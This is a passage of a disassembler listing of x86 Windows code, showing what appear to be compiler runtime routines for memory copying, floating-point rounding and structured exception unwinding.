		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx

loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------

loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A290
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------

loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722

loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB2CC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43C8A4, offset sub_421935
		mov	off_43C8A0, eax
		mov	off_43C8A8, offset sub_42199B
		mov	off_43C8AC, offset sub_4218DB
		mov	off_43C8B0, offset sub_421983
		mov	off_43C8B4, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2A8
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------

loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868

loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------

loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB324
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------

loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------

loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------

loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E

loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2

loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39

loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45

loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]

loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67

loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2

loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]

loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------

loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		mov	ecx, [ebp+8]

loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28

loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------

loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

